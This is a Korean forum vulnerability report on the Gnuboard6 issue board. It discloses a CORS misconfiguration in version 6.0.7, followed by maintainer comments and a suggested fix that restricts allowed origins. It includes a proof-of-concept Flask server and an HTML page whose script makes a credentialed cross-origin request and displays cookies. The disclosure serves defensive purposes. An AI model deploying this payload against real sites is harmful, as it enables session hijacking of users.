2026, 새로운 도약을 시작합니다.

CORS Misconfiguration 취약점 제보합니다.

· 1년 전 · 565 · 3
**Version**: 6.0.7

**Vuln**: CORS Misconfiguration

**PoC**
```python
from flask import Flask, jsonify, send_from_directory

app = Flask(__name__)

@app.route('/')
def serve_html():
return send_from_directory('', 'index.html')

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8800)
```

```html
<html>
<body>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var cookies = document.cookie;
document.getElementById("demo").innerText = "Cookies: " + cookies;
alert("Cookies: " + cookies);

}
};
xhr.open("GET", "http://<gnuboardHost>, true);
xhr.withCredentials = true;
xhr.send();
}
</script>
</body>
</html>
```

**Impact**
* 사용자에게 링크 접속만 해도 세션 탈취가 가능합니다.

**Secure Code (core/middleware)**
이와 같이 테스트가 아닌 프로덕션 환경에서는 allow_origins에 호스트를 지정 필요
```python
app.add_middleware(
CORSMiddleware,
allow_origins=["http://<gunboardHost>"],
allow_credentials=True,
allow_methods=["*"],
allow_headers=["*"],
)
```

**Video**
<video src="https://github.com/gnuboard/g6/assets/71239005/655c6b54-ab1e-4758-a7f7-ce1c77f44627" width="520" height="540" controls></video>


ref: https://github.com/gnuboard/g6/commit/b9b6bb7a3f7eaff576c8079f183318f3417896e5
https://github.com/gnuboard/g6/blob/master/core/middleware.py#L81
|

댓글 3개

1년 전
@AkiaCode
오픈소스 배포 과정에서는 allow_origins를 모두 허용하였습니다.
프로젝트를 진행하시는 상황에 따라 추가하여 사용하시길 권장드립니다.
1년 전
@Junanjunan
아하, 그렇군요 저는 커밋 내용 중 `테스트용으로 모두 허용하도록 추가` 글에서 테스트용으로 추가하셨길래, 배포 과정에서 의도되지 않은 로직이 추가된 줄 알았습니다. 그리고, fastapi cors에서는 allow_credentials가 True일 때, allow_origins가 `*`로 설정할 수 없습니다.

![image](https://github.com/gnuboard/g6/assets/71239005/d79be19a-f5e3-4f3c-a5a7-31a2be0bbd91)
ref: https://fastapi.tiangolo.com/ko/tutorial/cors,
https://fastapi.tiangolo.com/tutorial/cors,
https://github.com/tiangolo/fastapi/blob/912524233b535a1d45b54863b2c4e0bd2464b193/docs_src/cors/tutorial001.py#L16

p.s. 해결 방법으로는 하드코딩보다 `.env` 파일에 CORS config를 추가하여 ALLOW_ORIGINS를 직접 설정할 수 있게 만드는 것이 좋을 것 같습니다.
1년 전
@AkiaCode
네, 말씀해주신 부분을 다음 패치에 반영하도록 하겠습니다. 감사합니다.

댓글 작성

댓글을 작성하시려면 로그인이 필요합니다.

로그인하기

그누보드6 이슈

좋은 댓글과 좋아요는 제작자에게 큰힘이 됩니다.
번호 제목 글쓴이 날짜 조회
174 6개월 전 조회 259
173 6개월 전 조회 209
172 6개월 전 조회 255
171
mmingijunggrape
8개월 전 조회 268
170
mmingijunggrape
8개월 전 조회 252
169 12개월 전 조회 315
168
sseiblog-nandsoft
1년 전 조회 518
167 1년 전 조회 566
166
sseiblog-nandsoft
1년 전 조회 487
165
sseiblog-nandsoft
1년 전 조회 374
164
sseiblog-nandsoft
1년 전 조회 473
163
sseiblog-nandsoft
1년 전 조회 394
162
sseiblog-nandsoft
1년 전 조회 370
161
sseiblog-nandsoft
1년 전 조회 331
160
sseiblog-nandsoft
1년 전 조회 360
159
sseiblog-nandsoft
1년 전 조회 410
158
sseiblog-nandsoft
1년 전 조회 434
157
sseiblog-nandsoft
1년 전 조회 358
156
sseiblog-nandsoft
1년 전 조회 422
155
sseiblog-nandsoft
1년 전 조회 386
🐛 버그신고